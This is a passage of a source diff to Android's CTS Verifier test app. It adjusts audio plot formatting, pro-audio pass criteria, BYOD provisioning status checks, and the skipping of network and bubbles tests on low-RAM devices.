noiseSeriesFormat.configure(getApplicationContext(),
R.xml.ultrasound_line_formatter_noise);
- noiseSeriesFormat.setPointLabelFormatter(null);
plot.addSeries(noiseSeries, noiseSeriesFormat);
double[] dB = wavAnalyzerTask.getDB();
@@ -269,9 +272,9 @@ public class HifiUltrasoundTestActivity extends PassFailButtons.Activity {
Arrays.asList(dBWrap),
"median");
LineAndPointFormatter seriesFormat = new LineAndPointFormatter();
+ seriesFormat.setPointLabelFormatter(new PointLabelFormatter());
seriesFormat.configure(getApplicationContext(),
R.xml.ultrasound_line_formatter_median);
- seriesFormat.setPointLabelFormatter(null);
plot.addSeries(series, seriesFormat);
Double[] passX = new Double[] {Common.MIN_FREQUENCY_HZ, Common.MAX_FREQUENCY_HZ};
@@ -279,9 +282,9 @@ public class HifiUltrasoundTestActivity extends PassFailButtons.Activity {
XYSeries passSeries = new SimpleXYSeries(
Arrays.asList(passX), Arrays.asList(passY), "passing");
LineAndPointFormatter passSeriesFormat = new LineAndPointFormatter();
+ passSeriesFormat.setPointLabelFormatter(new PointLabelFormatter());
passSeriesFormat.configure(getApplicationContext(),
R.xml.ultrasound_line_formatter_pass);
- passSeriesFormat.setPointLabelFormatter(null);
plot.addSeries(passSeries, passSeriesFormat);
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
index 30bc5fcabfc..07a2d4dc8b6 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
@@ -46,6 +46,7 @@ public class ProAudioActivity
private static final boolean DEBUG = false;
// Flags
+ private boolean mClaimsProAudio;
private boolean mClaimsLowLatencyAudio; // CDD ProAudio section C-1-1
private boolean mClaimsMIDI; // CDD ProAudio section C-1-4
private boolean mClaimsUSBHostMode; // CDD ProAudio section C-1-3
@@ -75,10 +76,19 @@ public class ProAudioActivity
CheckBox mClaimsHDMICheckBox;
+ // Borrowed from PassFailButtons.java
+ private static final int INFO_DIALOG_ID = 1337;
+ private static final String INFO_DIALOG_TITLE_ID = "infoDialogTitleId";
+ private static final String INFO_DIALOG_MESSAGE_ID = "infoDialogMessageId";
+
public ProAudioActivity() {
super();
}
+ private boolean claimsProAudio() {
+ return getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_PRO);
+ }
+
private boolean claimsLowLatencyAudio() {
// CDD Section C-1-1: android.hardware.audio.low_latency
return getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_LOW_LATENCY);
@@ -158,13 +168,13 @@ public class ProAudioActivity
}
private void calculatePass() {
- boolean hasPassed =
- mClaimsLowLatencyAudio && mClaimsMIDI &&
+ boolean hasPassed = !mClaimsProAudio ||
+ (mClaimsLowLatencyAudio && mClaimsMIDI &&
mClaimsUSBHostMode && mClaimsUSBPeripheralMode &&
(!mClaimsHDMI || isHDMIValid()) &&
mOutputDevInfo != null && mInputDevInfo != null &&
mRoundTripLatency != 0.0 && mRoundTripLatency <= LATENCY_MS_LIMIT &&
- mRoundTripConfidence >= CONFIDENCE_LIMIT;
+ mRoundTripConfidence >= CONFIDENCE_LIMIT);
getPassButton().setEnabled(hasPassed);
}
@@ -261,6 +271,16 @@ public class ProAudioActivity
setPassFailButtonClickListeners();
setInfoResources(R.string.proaudio_test, R.string.proaudio_info, -1);
+ mClaimsProAudio = claimsProAudio();
+ ((TextView)findViewById(R.id.proAudioHasProAudioLbl)).setText("" + mClaimsProAudio);
+
+ if (!mClaimsProAudio) {
+ Bundle args = new Bundle();
+ args.putInt(INFO_DIALOG_TITLE_ID, R.string.pro_audio_latency_test);
+ args.putInt(INFO_DIALOG_MESSAGE_ID, R.string.audio_proaudio_nopa_message);
+ showDialog(INFO_DIALOG_ID, args);
+ }
+
mClaimsLowLatencyAudio = claimsLowLatencyAudio();
((TextView)findViewById(R.id.proAudioHasLLALbl)).setText("" + mClaimsLowLatencyAudio);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java
index e8bdcc7fdf1..3904f09368c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java
@@ -545,7 +545,8 @@ public class CameraVideoActivity extends PassFailButtons.Activity
mUntestedCombinations.remove(combination);
mTestedCombinations.add(combination);
- if (mUntestedCombinations.isEmpty()) {
+ if (mUntestedCombinations.isEmpty() &&
+ mUntestedCameras.isEmpty()) {
mPassButton.setEnabled(true);
if (VERBOSE) {
Log.v(TAG, "run: test success");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/instantapps/NotificationTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/instantapps/NotificationTestActivity.java
index 6e2052c84db..77caeb96534 100644..100755
--- a/apps/CtsVerifier/src/com/android/cts/verifier/instantapps/NotificationTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/instantapps/NotificationTestActivity.java
@@ -16,6 +16,8 @@
package com.android.cts.verifier.instantapps;
import android.os.Bundle;
+import android.os.SystemProperties;
+import android.content.pm.PackageManager;
import android.widget.TextView;
import com.android.cts.verifier.R;
@@ -34,6 +36,18 @@ public class NotificationTestActivity extends BaseTestActivity {
setInfoResources(R.string.ia_notification, R.string.ia_notification_info, -1);
TextView extraText = (TextView) findViewById(R.id.instruction_extra_text);
- extraText.setText(R.string.ia_notification_instruction_label);
+ if (isNoGooglePlayStore()) {
+ extraText.setText(R.string.ia_notification_instruction_label_no_app_market_version);
+ } else {
+ extraText.setText(R.string.ia_notification_instruction_label);
+ }
+ }
+
+ private boolean isNoGooglePlayStore() {
+ boolean isCnGmsVersion =
+ getApplicationContext().getPackageManager().hasSystemFeature("cn.google.services");
+ boolean isNoGmsVersion =
+ (SystemProperties.get("ro.com.google.gmsversion", null) == null);
+ return isCnGmsVersion || isNoGmsVersion;
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
index e7815583173..cef8ae34cf2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
@@ -19,12 +19,17 @@ package com.android.cts.verifier.managedprovisioning;
import android.app.KeyguardManager;
import android.app.admin.DevicePolicyManager;
import android.content.ActivityNotFoundException;
+import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.SharedPreferences;
import android.content.pm.PackageManager;
import android.net.ConnectivityManager;
import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
import android.provider.Settings;
import android.util.Log;
import android.widget.Toast;
@@ -59,6 +64,7 @@ public class ByodFlowTestActivity extends DialogTestListActivity {
protected static final String HELPER_APP_PATH = "/data/local/tmp/NotificationBot.apk";
private static final String TAG = "ByodFlowTestActivity";
+ private static final int PROVISIONING_CHECK_PERIOD_MS = 3000;
private static ConnectivityManager mCm;
private static final int REQUEST_MANAGED_PROVISIONING = 0;
private static final int REQUEST_PROFILE_OWNER_STATUS = 1;
@@ -66,6 +72,13 @@ public class ByodFlowTestActivity extends DialogTestListActivity {
private static final int REQUEST_CHECK_DISK_ENCRYPTION = 3;
private static final int REQUEST_SET_LOCK_FOR_ENCRYPTION = 4;
+ private static final String PROVISIONING_PREFERENCES = "provisioning_preferences";
+ private static final String PREFERENCE_PROVISIONING_COMPLETE_STATUS =
+ "provisioning_complete_status";
+ private static final int PREFERENCE_PROVISIONING_COMPLETE_STATUS_NOT_RECEIVED = 0;
+ private static final int PREFERENCE_PROVISIONING_COMPLETE_STATUS_RECEIVED = 1;
+ private static final int PREFERENCE_PROVISIONING_COMPLETE_STATUS_PROCESSED = 2;
+
private ComponentName mAdminReceiverComponent;
private KeyguardManager mKeyguardManager;
private ByodFlowTestHelper mByodFlowTestHelper;
@@ -116,6 +129,26 @@ public class ByodFlowTestActivity extends DialogTestListActivity {
private TestListItem mPolicyTransparencyTest;
private TestListItem mTurnOffWorkFeaturesTest;
private TestListItem mWidgetTest;
+ private final Handler mHandler = new Handler(Looper.myLooper());
+
+ private final Runnable mPeriodicProvisioningCheckRunnable = new Runnable() {
+ @Override
+ public void run() {
+ if (isProvisioningCompleteBroadcastReceived(getApplicationContext())) {
+ markProvisioningCompleteBroadcastProcessed(getApplicationContext());
+ queryProfileOwner(true);
+ } else {
+ mHandler.postDelayed(this, PROVISIONING_CHECK_PERIOD_MS);
+ }
+ }
+ };
+
+ public static class ProvisioningCompleteReceiver extends BroadcastReceiver {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ markProvisioningCompleteBroadcastReceived(context);
+ }
+ }
public ByodFlowTestActivity() {
super(R.layout.provisioning_byod,
@@ -152,6 +185,27 @@ public class ByodFlowTestActivity extends DialogTestListActivity {
}
@Override
+ protected void onStart() {
+ super.onStart();
+ startPeriodicProvisioningCheckIfNecessary();
+ }
+
+ private void startPeriodicProvisioningCheckIfNecessary() {
+ if (mHandler.hasCallbacks(mPeriodicProvisioningCheckRunnable)) {
+ return;
+ }
+ if (!isProvisioningCompleteBroadcastProcessed(this)) {
+ mHandler.post(mPeriodicProvisioningCheckRunnable);
+ }
+ }
+
+ @Override
+ protected void onStop() {
+ super.onStop();
+ mHandler.removeCallbacks(mPeriodicProvisioningCheckRunnable);
+ }
+
+ @Override
protected void onNewIntent(Intent intent) {
super.onNewIntent(intent);
if (ByodHelperActivity.ACTION_PROFILE_OWNER_STATUS.equals(intent.getAction())) {
@@ -192,7 +246,7 @@ public class ByodFlowTestActivity extends DialogTestListActivity {
private void handleStatusUpdate(int resultCode, Intent data) {
boolean provisioned = data != null &&
data.getBooleanExtra(ByodHelperActivity.EXTRA_PROVISIONED, false);
- setTestResult(mProfileOwnerInstalled, (provisioned && resultCode == RESULT_OK) ?
+ setProfileOwnerTestResult((provisioned && resultCode == RESULT_OK) ?
TestResult.TEST_RESULT_PASSED : TestResult.TEST_RESULT_FAILED);
}
@@ -698,13 +752,21 @@ public class ByodFlowTestActivity extends DialogTestListActivity {
}
catch (ActivityNotFoundException e) {
Log.d(TAG, "queryProfileOwner: ActivityNotFoundException", e);
- setTestResult(mProfileOwnerInstalled, TestResult.TEST_RESULT_FAILED);
+ setProfileOwnerTestResult(TestResult.TEST_RESULT_FAILED);
if (showToast) {
Utils.showToast(this, R.string.provisioning_byod_no_activity);
}
}
}
+ private void setProfileOwnerTestResult(int result) {
+ setTestResult(mProfileOwnerInstalled, result);
+ if (result == TestResult.TEST_RESULT_FAILED) {
+ clearProvisioningCompleteBroadcastStatus(this);
+ startPeriodicProvisioningCheckIfNecessary();
+ }
+ }
+
private void checkDiskEncryption() {
try {
Intent intent = new Intent(ByodHelperActivity.ACTION_CHECK_DISK_ENCRYPTION);
@@ -798,4 +860,42 @@ public class ByodFlowTestActivity extends DialogTestListActivity {
new ComponentName(ByodFlowTestActivity.this, HandleIntentActivity.class.getName()),
enableState, PackageManager.DONT_KILL_APP);
}
+
+ private static void markProvisioningCompleteBroadcastReceived(Context context) {
+ markProvisioningCompleteBroadcastWithStatus(context,
+ PREFERENCE_PROVISIONING_COMPLETE_STATUS_RECEIVED);
+ }
+
+ private static void markProvisioningCompleteBroadcastProcessed(Context context) {
+ markProvisioningCompleteBroadcastWithStatus(context,
+ PREFERENCE_PROVISIONING_COMPLETE_STATUS_PROCESSED);
+ }
+
+ private static void clearProvisioningCompleteBroadcastStatus(Context context) {
+ markProvisioningCompleteBroadcastWithStatus(context,
+ PREFERENCE_PROVISIONING_COMPLETE_STATUS_NOT_RECEIVED);
+ }
+
+ private static void markProvisioningCompleteBroadcastWithStatus(Context context, int status) {
+ final SharedPreferences prefs = getProvisioningPreferences(context);
+ final SharedPreferences.Editor editor = prefs.edit();
+ editor.putInt(PREFERENCE_PROVISIONING_COMPLETE_STATUS, status);
+ editor.commit();
+ }
+
+ private static boolean isProvisioningCompleteBroadcastReceived(Context context) {
+ return getProvisioningPreferences(context)
+ .getInt(PREFERENCE_PROVISIONING_COMPLETE_STATUS, 0) ==
+ PREFERENCE_PROVISIONING_COMPLETE_STATUS_RECEIVED;
+ }
+
+ private static boolean isProvisioningCompleteBroadcastProcessed(Context context) {
+ return getProvisioningPreferences(context)
+ .getInt(PREFERENCE_PROVISIONING_COMPLETE_STATUS, 0) ==
+ PREFERENCE_PROVISIONING_COMPLETE_STATUS_PROCESSED;
+ }
+
+ private static SharedPreferences getProvisioningPreferences(Context context) {
+ return context.getSharedPreferences(PROVISIONING_PREFERENCES, MODE_PRIVATE);
+ }
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
index e59e6d699bd..66ff174925b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodHelperActivity.java
@@ -64,8 +64,6 @@ public class ByodHelperActivity extends LocationListenerActivity
public static final String ACTION_PROFILE_OWNER_STATUS = "com.android.cts.verifier.managedprovisioning.BYOD_STATUS";
// Primary -> managed intent: request to delete the current profile
public static final String ACTION_REMOVE_MANAGED_PROFILE = "com.android.cts.verifier.managedprovisioning.BYOD_REMOVE";
- // Managed -> managed intent: provisioning completed successfully
- public static final String ACTION_PROFILE_PROVISIONED = "com.android.cts.verifier.managedprovisioning.BYOD_PROVISIONED";
// Primary -> managed intent: request to capture and check an image
public static final String ACTION_CAPTURE_AND_CHECK_IMAGE = "com.android.cts.verifier.managedprovisioning.BYOD_CAPTURE_AND_CHECK_IMAGE";
// Primary -> managed intent: request to capture and check a video with custom output path
@@ -226,14 +224,8 @@ public class ByodHelperActivity extends LocationListenerActivity
NOTIFICATION_CHANNEL_ID, NOTIFICATION_CHANNEL_ID,
NotificationManager.IMPORTANCE_DEFAULT));
- // we are explicitly started by {@link DeviceAdminTestReceiver} after a successful provisioning.
- if (action.equals(ACTION_PROFILE_PROVISIONED)) {
- // Jump back to CTS verifier with result.
- Intent response = new Intent(ACTION_PROFILE_OWNER_STATUS);
- response.putExtra(EXTRA_PROVISIONED, isProfileOwner());
- new ByodFlowTestHelper(this).startActivityInPrimary(response);
- // Queried by CtsVerifier in the primary side using startActivityForResult.
- } else if (action.equals(ACTION_QUERY_PROFILE_OWNER)) {
+ // Queried by CtsVerifier in the primary side using startActivityForResult.
+ if (action.equals(ACTION_QUERY_PROFILE_OWNER)) {
Intent response = new Intent();
response.putExtra(EXTRA_PROVISIONED, isProfileOwner());
setResult(RESULT_OK, response);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
index 9cff9d2e260..11351ec262a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
@@ -195,15 +195,16 @@ public class DeviceAdminTestReceiver extends DeviceAdminReceiver {
dpm.addCrossProfileIntentFilter(getWho(context), filter,
DevicePolicyManager.FLAG_PARENT_CAN_ACCESS_MANAGED);
- Intent intent = new Intent(context, ByodHelperActivity.class);
- intent.setAction(ByodHelperActivity.ACTION_PROFILE_PROVISIONED);
- intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- context.startActivity(intent);
// Disable the work profile instance of this activity, because it is a helper activity for
// the work -> primary direction.
context.getPackageManager().setComponentEnabledSetting(
new ComponentName(context, ByodPrimaryHelperActivity.class.getName()),
PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
+
+ // Disable the work profile instance of ByodFlowTestActivity
+ context.getPackageManager().setComponentEnabledSetting(
+ new ComponentName(context, ByodFlowTestActivity.class),
+ PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
}
private void wipeIfNecessary(Context context, Intent intent) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/net/MultiNetworkConnectivityTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/net/MultiNetworkConnectivityTestActivity.java
index 54c9305f46a..b8ab5c4e027 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/net/MultiNetworkConnectivityTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/net/MultiNetworkConnectivityTestActivity.java
@@ -29,6 +29,7 @@ import static com.android.cts.verifier.net.MultiNetworkConnectivityTestActivity.
import static com.android.cts.verifier.net.MultiNetworkConnectivityTestActivity.ValidatorState
.WAITING_FOR_USER_INPUT;
+import android.app.ActivityManager;
import android.app.AlertDialog;
import android.content.BroadcastReceiver;
import android.content.Context;
@@ -64,6 +65,8 @@ import android.widget.TextView;
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
+import java.util.ArrayList;
+import java.util.Collections;
import java.util.List;
/**
@@ -136,8 +139,8 @@ public class MultiNetworkConnectivityTestActivity extends PassFailButtons.Activi
@Override
public void testCompleted(MultiNetworkValidator validator) {
- if (validator == mMultiNetworkValidators[mMultiNetworkValidators.length
- - 1]) {
+ if (validator == mMultiNetworkValidators.get(mMultiNetworkValidators.size()
+ - 1)) {
// Done all tests.
boolean passed = true;
for (MultiNetworkValidator multiNetworkValidator :
@@ -148,9 +151,9 @@ public class MultiNetworkConnectivityTestActivity extends PassFailButtons.Activi
} else if (!validator.mTestResult) {
setTestResultAndFinish(false);
} else {
- for (int i = 0; i < mMultiNetworkValidators.length; i++) {
- if (mMultiNetworkValidators[i] == validator) {
- mCurrentValidator = mMultiNetworkValidators[i + 1];
+ for (int i = 0; i < mMultiNetworkValidators.size(); i++) {
+ if (mMultiNetworkValidators.get(i) == validator) {
+ mCurrentValidator = mMultiNetworkValidators.get(i + 1);
mTestNameView.setText(mCurrentValidator.mTestDescription);
mCurrentValidator.startTest();
break;
@@ -159,14 +162,7 @@ public class MultiNetworkConnectivityTestActivity extends PassFailButtons.Activi
}
}
};
- private final MultiNetworkValidator[] mMultiNetworkValidators = {
- new ConnectToWifiWithNoInternetValidator(
- R.string.multinetwork_connectivity_test_1_desc),
- new LegacyConnectToWifiWithNoInternetValidator(
- R.string.multinetwork_connectivity_test_2_desc),
- new LegacyConnectToWifiWithIntermittentInternetValidator(
- R.string.multinetwork_connectivity_test_3_desc)
- };
+ private List<MultiNetworkValidator> mMultiNetworkValidators = Collections.emptyList();
private final Runnable mTimeToCompletionRunnable = new Runnable() {
@Override
public void run() {
@@ -200,6 +196,8 @@ public class MultiNetworkConnectivityTestActivity extends PassFailButtons.Activi
super.onCreate(savedInstanceState);
mConnectivityManager = (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE);
mWifiManager = (WifiManager) getSystemService(Context.WIFI_SERVICE);
+ mMultiNetworkValidators = createMultiNetworkValidators();
+
recordCurrentWifiState();
setupUserInterface();
setupBroadcastReceivers();
@@ -228,6 +226,26 @@ public class MultiNetworkConnectivityTestActivity extends PassFailButtons.Activi
}
}
+ private List<MultiNetworkValidator> createMultiNetworkValidators() {
+ MultiNetworkValidator[] allValidators = {
+ new ConnectToWifiWithNoInternetValidator(
+ R.string.multinetwork_connectivity_test_1_desc),
+ new LegacyConnectToWifiWithNoInternetValidator(
+ R.string.multinetwork_connectivity_test_2_desc),
+ new LegacyConnectToWifiWithIntermittentInternetValidator(
+ R.string.multinetwork_connectivity_test_3_desc)
+ };
+
+ List<MultiNetworkValidator> result = new ArrayList<>();
+ boolean isLowRamDevice = isLowRamDevice();
+ for (MultiNetworkValidator validator : allValidators) {
+ if (!isLowRamDevice || validator.shouldRunOnLowRamDevice()) {
+ result.add(validator);
+ }
+ }
+ return result;
+ }
+
private void restoreOriginalWifiState() {
if (mRecordedWifiConfiguration >= 0) {
mWifiManager.enableNetwork(mRecordedWifiConfiguration, true);
@@ -235,6 +253,11 @@ public class MultiNetworkConnectivityTestActivity extends PassFailButtons.Activi
}
private boolean requestSystemAlertWindowPerimissionIfRequired() {
+ if (isLowRamDevice()) {
+ // For low ram devices, we won't run tests that depend on this permission.
+ return true;
+ }
+
boolean hadPermission = false;
if (!Settings.canDrawOverlays(this)) {
AlertDialog alertDialog = new AlertDialog.Builder(this)
@@ -360,11 +383,11 @@ public class MultiNetworkConnectivityTestActivity extends PassFailButtons.Activi
return;
}
- for (int i = 0; i < mMultiNetworkValidators.length; i++) {
- if (mMultiNetworkValidators[i].mValidatorState != COMPLETED) {
- mCurrentValidator = mMultiNetworkValidators[i];
- break;
- }
+ for (MultiNetworkValidator multiNetworkValidator : mMultiNetworkValidators) {
+ if (multiNetworkValidator.mValidatorState != COMPLETED) {
+ mCurrentValidator = multiNetworkValidator;
+ break;
+ }
}
if (mCurrentValidator != null) {
mTestNameView.setText(mCurrentValidator.mTestDescription);
@@ -393,7 +416,7 @@ public class MultiNetworkConnectivityTestActivity extends PassFailButtons.Activi
mStartButton.setText(R.string.multinetwork_connectivity_test_rerun);
mStartButton.setEnabled(true);
rerunMultinetworkTests();
- mCurrentValidator = mMultiNetworkValidators[0];
+ mCurrentValidator = mMultiNetworkValidators.get(0);
}
}
@@ -479,6 +502,12 @@ public class MultiNetworkConnectivityTestActivity extends PassFailButtons.Activi
mStartButton.setText("--");
}
+ private boolean isLowRamDevice() {
+ ActivityManager activityManager =
+ (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
+ return activityManager.isLowRamDevice();
+ }
+
/**
* Manage the connectivity state for each MultinetworkValidation.
*/
@@ -613,6 +642,7 @@ public class MultiNetworkConnectivityTestActivity extends PassFailButtons.Activi
final String mTestName;
final MultinetworkTestCallback mTestCallback;
final TestConnectivityState mConnectivityState;
+ final boolean mRunTestOnLowMemoryDevices;
int mTestDescription;
boolean mTestResult = false;
@@ -621,12 +651,15 @@ public class MultiNetworkConnectivityTestActivity extends PassFailButtons.Activi
int mTestProgressMessage;
MultiNetworkValidator(MultinetworkTestCallback testCallback,
- String testName, int testDescription) {
+ String testName,
+ int testDescription,
+ boolean runTestOnLowMemoryDevices) {
mTestCallback = testCallback;
mTestName = testName;
mTestDescription = testDescription;
mConnectivityState = new TestConnectivityState(this);
mValidatorState = NOT_STARTED;
+ mRunTestOnLowMemoryDevices = runTestOnLowMemoryDevices;
}
/** Start test if not started. */
@@ -717,6 +750,10 @@ public class MultiNetworkConnectivityTestActivity extends PassFailButtons.Activi
void onWifiNetworkUnavailable() {
endTest(false, R.string.multinetwork_status_wifi_connect_timed_out);
}
+
+ boolean shouldRunOnLowRamDevice() {
+ return mRunTestOnLowMemoryDevices;
+ }
}
/**
@@ -726,7 +763,10 @@ public class MultiNetworkConnectivityTestActivity extends PassFailButtons.Activi
private class LegacyConnectToWifiWithNoInternetValidator extends MultiNetworkValidator {
LegacyConnectToWifiWithNoInternetValidator(int description) {
- super(mMultinetworkTestCallback, "legacy_no_internet_test", description);
+ super(mMultinetworkTestCallback,
+ "legacy_no_internet_test",
+ description,
+ /* runTestOnLowMemoryDevices = */ false);
}
@@ -788,7 +828,10 @@ public class MultiNetworkConnectivityTestActivity extends PassFailButtons.Activi
Network mWifiNetwork;
LegacyConnectToWifiWithIntermittentInternetValidator(int description) {
- super(mMultinetworkTestCallback, "legcay_no_internet_test", description);
+ super(mMultinetworkTestCallback,
+ "legacy_no_internet_test",
+ description,
+ /* runTestOnLowMemoryDevices = */ false);
}
@Override
@@ -900,7 +943,10 @@ public class MultiNetworkConnectivityTestActivity extends PassFailButtons.Activi
private class ConnectToWifiWithNoInternetValidator extends MultiNetworkValidator {
ConnectToWifiWithNoInternetValidator(int description) {
- super(mMultinetworkTestCallback, "no_internet_test", description);
+ super(mMultinetworkTestCallback,
+ "no_internet_test",
+ description,
+ /* runTestOnLowMemoryDevices = */ true);
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
index fd1c4579eda..3dc41e64f4f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
@@ -20,6 +20,7 @@ import static android.view.View.INVISIBLE;
import static android.view.View.VISIBLE;
import android.annotation.NonNull;
+import android.app.ActivityManager;
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
@@ -33,6 +34,7 @@ import android.provider.Settings;
import android.view.ViewGroup;
import android.widget.Button;
import android.widget.TextView;
+import android.widget.Toast;
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
@@ -101,16 +103,23 @@ public class BubblesVerifierActivity extends PassFailButtons.Activity {
runNextTestOrShowSummary();
});
- mTests.add(new EnableBubbleTest());
- mTests.add(new SendBubbleTest());
- mTests.add(new SuppressNotifTest());
- mTests.add(new AddNotifTest());
- mTests.add(new RemoveMetadataTest());
- mTests.add(new AddMetadataTest());
- mTests.add(new ExpandBubbleTest());
- mTests.add(new DismissBubbleTest());
- mTests.add(new DismissNotificationTest());
- mTests.add(new AutoExpandBubbleTest());
+ ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
+ if (!am.isLowRamDevice()) {
+ mTests.add(new EnableBubbleTest());
+ mTests.add(new SendBubbleTest());
+ mTests.add(new SuppressNotifTest());
+ mTests.add(new AddNotifTest());
+ mTests.add(new RemoveMetadataTest());
+ mTests.add(new AddMetadataTest());
+ mTests.add(new ExpandBubbleTest());
+ mTests.add(new DismissBubbleTest());
+ mTests.add(new DismissNotificationTest());
+ mTests.add(new AutoExpandBubbleTest());
+ } else {
+ Toast.makeText(getApplicationContext(),
+ getResources().getString(R.string.bubbles_notification_no_bubbles_low_mem),
+ Toast.LENGTH_LONG).show();
+ }
setPassFailButtonClickListeners();
@@ -453,7 +462,6 @@ public class BubblesVerifierActivity extends PassFailButtons.Activity {
}
}
-
/** Creates a minimally filled out {@link android.app.Notification.BubbleMetadata.Builder} */
private Notification.BubbleMetadata.Builder getBasicBubbleBuilder() {
Context context = getApplicationContext();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/AccelerometerMeasurementTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/AccelerometerMeasurementTestActivity.java
index 34c18dedbb3..6e54ef6fc16 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/AccelerometerMeasurementTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/AccelerometerMeasurementTestActivity.java
@@ -32,8 +32,7 @@ import java.util.concurrent.TimeUnit;
*/
public class AccelerometerMeasurementTestActivity extends SensorCtsVerifierTestActivity {
public AccelerometerMeasurementTestActivity() {
- super(AccelerometerMeasurementTestActivity.class);
- mEnableRetry = true;
+ super(AccelerometerMeasurementTestActivity.class, true);
}
public String testFaceUp() throws Throwable {
@@ -109,12 +108,9 @@ public class AccelerometerMeasurementTestActivity extends SensorCtsVerifierTestA
private String delayedVerifyMeasurements(int descriptionResId, float ... expectations)
throws Throwable {
- SensorTestLogger logger = getTestLogger();
- if (!mShouldRetry) {
- logger.logInstructions(descriptionResId);
- logger.logWaitForSound();
- waitForUserToBegin();
- }
+
+ setFirstExecutionInstruction(descriptionResId);
+ getTestLogger().logWaitForSound();
Thread.sleep(TimeUnit.MILLISECONDS.convert(7, TimeUnit.SECONDS));
try {
@@ -126,12 +122,8 @@ public class AccelerometerMeasurementTestActivity extends SensorCtsVerifierTestA
private String verifyMeasurements(int descriptionResId, float ... expectations)
throws Throwable {
- SensorTestLogger logger = getTestLogger();
- if (!mShouldRetry) {
- logger.logInstructions(descriptionResId);
- logger.logInstructions(R.string.snsr_device_steady);
- waitForUserToBegin();
- }
+
+ setFirstExecutionInstruction(descriptionResId, R.string.snsr_device_steady);
return verifyMeasurements(expectations);
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/BatchingTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/BatchingTestActivity.java
index eaa49248cb3..9689193d7e8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/BatchingTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/BatchingTestActivity.java
@@ -36,8 +36,7 @@ import java.util.concurrent.TimeUnit;
*/
public class BatchingTestActivity extends SensorCtsVerifierTestActivity {
public BatchingTestActivity() {
- super(BatchingTestActivity.class);
- mEnableRetry = true;
+ super(BatchingTestActivity.class, true);
}
private static final int SENSOR_BATCHING_RATE_US = SensorManager.SENSOR_DELAY_FASTEST;
@@ -122,10 +121,8 @@ public class BatchingTestActivity extends SensorCtsVerifierTestActivity {
private String runBatchTest(int sensorType, int maxBatchReportLatencySec, int instructionsResId)
throws Throwable {
- if (!mShouldRetry) {
- getTestLogger().logInstructions(instructionsResId);
- waitForUserToBegin();
- }
+
+ setFirstExecutionInstruction(instructionsResId);
int maxBatchReportLatencyUs = (int) TimeUnit.SECONDS.toMicros(maxBatchReportLatencySec);
TestSensorEnvironment environment = new TestSensorEnvironment(
